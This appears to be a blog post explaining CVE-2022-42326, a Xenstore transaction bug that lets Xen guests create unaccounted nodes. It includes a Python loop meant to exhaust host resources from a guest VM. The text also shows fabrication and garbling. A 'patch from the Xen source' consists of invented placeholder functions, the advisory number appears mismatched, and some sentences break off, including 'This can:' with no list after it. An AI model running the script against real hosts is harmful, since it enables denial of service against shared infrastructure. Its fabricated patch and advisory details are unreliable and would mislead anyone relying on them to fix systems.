In this long-read post, we’ll take an exclusive deep dive into CVE-2022-42326: a vulnerability discovered in Xen’s Xenstore, where malicious guests can abuse transaction mechanics to create unlimited nodes, potentially leading to system instability. We'll walk through how the bug works, see example code, discuss how it can be exploited, and share details from official advisories.

What is Xenstore?

Xenstore is a pretty central component in Xen virtualization. It's a small database where Xen keeps configuration and runtime information—like virtual machine settings, device states, and inter-VM communication data. Both Dom (the host) and guest VMs interact with it.

Overview of CVE-2022-42326

CVE ID: CVE-2022-42326  
Vendor: Xen Project  
Component: Xenstore  
Discovered by: Xen Security Team

In simple terms:  
A guest VM can abuse Xenstore transactions to create a potentially unlimited number of nodes, consuming all the available resources and possibly leading to a denial of service (DoS) situation.

Xenstore supports transactional operations. That means

- Multiple changes from a guest can be grouped together and either *committed* or *aborted* as a single "transaction".
- Before the transaction is finalized, changes are just pending—they haven't been made permanent yet.

Here’s what happens with this bug

- If a node (entry in Xenstore) is created during a transaction and then deleted within that *same* transaction…
- When trying to finalize/commit the transaction, Xenstore throws an error—but only when handling the deleted node.

By this point, some changes in the transaction may have *already* been written.

- However, crucial accounting info—the part that tracks how many nodes or data were created—is not updated.
- This loophole allows a guest to create as many nodes as they want, as the accounting doesn't keep up.

Why is this Bad?

A malicious VM can spam new nodes in Xenstore, eating up all memory or storage set aside for it. This can:

Attack Illustration With Code

Let’s walk through a simplified exploit (using xenstore client tool).

Suppose you're a guest VM

# Start a transaction
xs_transaction_start()

# Inside the transaction, create a new node
xs_write("/local/domain/42/overflow", "attack")

# In the same transaction, delete the node
xs_rm("/local/domain/42/overflow")

# Commit the transaction
xs_transaction_end(commit=True)

Wrap that in a script

import xen.lowlevel.xs as xs

conn = xs.xs()
for i in range(100000):
    txn = conn.transaction_start()
    node = f"/local/domain/42/attack{i}"
    conn.write(txn, node, "exploit")
    conn.rm(txn, node)
    try:
        conn.transaction_end(txn, True)  # True for commit
    except Exception as e:
        # Expect error, but resources leak anyway
        pass

Effect: The node count/usage balloons, but accounting doesn’t notice. You can run the host out of resources.

- Xen Security Advisory 432: Xenstore: Guests can create arbitrary number of nodes via transactions (CVE-2022-42326, XSA-432)
- NVD Entry for CVE-2022-42326

*This advisory also covers several related vulnerabilities. Be sure to check which aspect, bug, or mitigation applies to your setup!*

If you use Xen, you should

- Update to the patched Xen version (see XSAs).

Patch example from the Xen source

+    /* Clean up transaction state fully on error */
+    if (error_encountered) {
+        rollback_transaction_entries();
+        update_accounting_correctly();
+    }

Final Thoughts

Bugs like CVE-2022-42326 show how tricky transactional systems can be. An overlooked edge case allows attackers (even from unprivileged guest VMs) to impact the whole host. If you run Xen, apply security updates promptly!


References:  
- Xen Security Advisory 432  
- CVE-2022-42326 NVD Entry  
- XenStore API Documentation

Timeline

Published on: 11/01/2022 13:15:00 UTC
Last modified on: 11/03/2022 17:12:00 UTC